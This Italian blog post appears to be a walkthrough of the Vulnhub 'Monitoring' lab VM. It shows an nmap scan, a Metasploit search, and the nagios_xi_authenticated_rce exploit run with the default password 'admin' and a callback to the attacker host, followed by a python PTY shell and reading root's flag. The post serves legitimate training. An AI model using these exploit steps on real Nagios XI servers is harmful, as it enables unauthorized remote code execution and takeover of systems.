Questo è il secondo walkthrough (link al primo) e questa volta affrontiamo la VM Monitoring, sempre da Vulnhub. Potete scaricare il file OVA qui.
Il nostro lab è configurato come per Cherry 1: una macchina Kali Linux e la VM Monitoring, entrambe su una rete NAT con CIDR 10.10.10.0/24.
Kali Linux ha IP 10.10.10.4
La VM Monitoring ha IP 10.10.10.12 (Ubuntu 16.04.7)
Abbiamo lo stesso problema di prima: collegare Monitoring all’interfaccia giusta. Questa macchina usa un nome di interfaccia di rete diverso da quello assegnato da VirtualBox. Questi step vanno seguiti solo per risolvere questo problema.
Il problema era nel nome dell’interfaccia di rete, e per questo non riuscivamo ad assegnare un indirizzo IP alla VM Monitoring. Abbiamo avviato la VM con un live cd e modificato il file di configurazione delle interfacce.
- Avviate con un live cd, noi abbiamo usato Ubuntu Desktop.
- Recuperate il nome della scheda di rete con ip addr.
- Montate il disco della VM.
mount /dev/sda1 temp - Fate chroot in temp.
chroot temp - Modificate il file in /etc/network/interfaces: rinominate l’interfaccia con la vostra.
- Smontate temp con umount.
- Riavviate.
Port Scanning, come al solito
Abbiamo scansionato la nostra VM Monitoring con nmap usando questo comando:
nmap -sV 10.10.10.12 -oN nmap_monitoring.txt
e questi sono stati i risultati:
Starting Nmap 7.80 ( https://nmap.org ) at 2021–03–18 13:46 EDT
Nmap scan report for 10.10.10.12
Host is up (0.000097s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
389/tcp open ldap OpenLDAP 2.2.X — 2.3.X
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:4A:62:FE (Oracle VirtualBox virtual NIC)
Service Info: Host: ubuntu; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.71 seconds
Come al solito, andiamo a vedere prima di tutto cosa c’è sulle porte 80 e 443.
Ma guarda, sembra ci sia un form!
Abbiamo provato alcune combinazioni classiche di utente/password come admin/admin, admin/password e così via, ma non siamo stati così fortunati come speravamo.
Exploit: forse la strada giusta?
Ok, proviamo con metasploit per vedere se troviamo qualcosa. Cerchiamo nagios con:
msfconsole
e poi
search nagios
otteniamo questo:
Matching Modules
================
# Name Disclosure Date Rank Check Description
— — — — — — — — — — — — — — — — — — — — -
0 exploit/linux/http/nagios_xi_authenticated_rce 2019–07–29 excellent Yes Nagios XI Authenticated Remote Command Execution
1 exploit/linux/http/nagios_xi_chained_rce 2016–03–06 excellent Yes Nagios XI Chained Remote Code Execution
2 exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo 2018–04–17 manual Yes Nagios XI Chained Remote Code Execution
3 exploit/linux/http/nagios_xi_magpie_debug 2018–11–14 excellent Yes Nagios XI Magpie_debug.php Root Remote Code Execution
4 exploit/linux/misc/nagios_nrpe_arguments 2013–02–21 excellent Yes Nagios Remote Plugin Executor Arbitrary Command Execution
5 exploit/unix/webapp/nagios3_history_cgi 2012–12–09 great Yes Nagios3 history.cgi Host Command Execution
6 exploit/unix/webapp/nagios3_statuswml_ping 2009–06–22 excellent No Nagios3 statuswml.cgi Ping Command Execution
7 exploit/unix/webapp/nagios_graph_explorer 2012–11–30 excellent Yes Nagios XI Network Monitor Graph Explorer Component Command Injection
8 post/linux/gather/enum_nagios_xi 2018–04–17 normal No Nagios XI Enumeration
(Scusate la formattazione un po’ scomposta, abbiamo aggiunto qualche spazio per renderla più leggibile)
Abbiamo usato il modulo nagios_xi_authenticated_rce impostando tutte le informazioni necessarie e poi eseguito:
msf5 > use exploit/linux/http/nagios_xi_authenticated_rce
msf5 exploit(linux/http/nagios_xi_authenticated_rce) > set rhost 10.10.10.12
rhost => 10.10.10.12
msf5 exploit(linux/http/nagios_xi_authenticated_rce) > set lhost 10.10.10.4
lhost => 10.10.10.4
msf5 exploit(linux/http/nagios_xi_authenticated_rce) > set password admin
password => admin
msf5 exploit(linux/http/nagios_xi_authenticated_rce) > run
RHOST è la VM Monitoring, LHOST è la vostra macchina d’attacco (Kali in questo caso) e PASSWORD è la password che verrà usata per il login.
Usate il comando shell e poi python (come abbiamo fatto nel walkthrough di Cherry 1) per aprire una shell interattiva:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
Ehi, guarda un po’!
Prendiamoci quella flag!
Non ci serve davvero una sezione a parte per recuperare la flag, ma eccola comunque:
root@ubuntu:/usr/local/nagiosxi/html/includes/components/profile# cd /root
cd /root
root@ubuntu:~# ls
ls
proof.txt scripts
root@ubuntu:~# cat proof.txt
cat proof.txt
SunCSR.Team.3.af6d45da1f1181347b9e2139f23c6a5b
root@ubuntu:~#
Ci siamo spostati nella home di root e abbiamo letto il proof.txt.
Una cosa che avremmo potuto fare prima è controllare se quel Nagios fosse effettivamente vulnerabile all’exploit scelto. Avremmo potuto provare con questo comando (dopo aver impostato le variabili RHOST, LHOST e PASSWORD):
msf5 exploit(linux/http/nagios_xi_authenticated_rce) > check
[*] 10.10.10.12:80 — The target appears to be vulnerable. Target is Nagios XI with version 5.6.0.
Conclusioni
Aggiornate sempre i vostri sistemi e le vostre applicazioni. Assicuratevi che la vostra infrastruttura non sia vulnerabile (almeno per exploit vecchi di 1/2 anni) eseguendo periodicamente una vulnerability scan sulla vostra rete: questo vi aiuterà a sapere quali applicazioni (e quali versioni) avete nel vostro ambiente.
Ciò detto, non è possibile avere un’infrastruttura sicura al 100%, quindi restate sempre aggiornati e consapevoli di questo!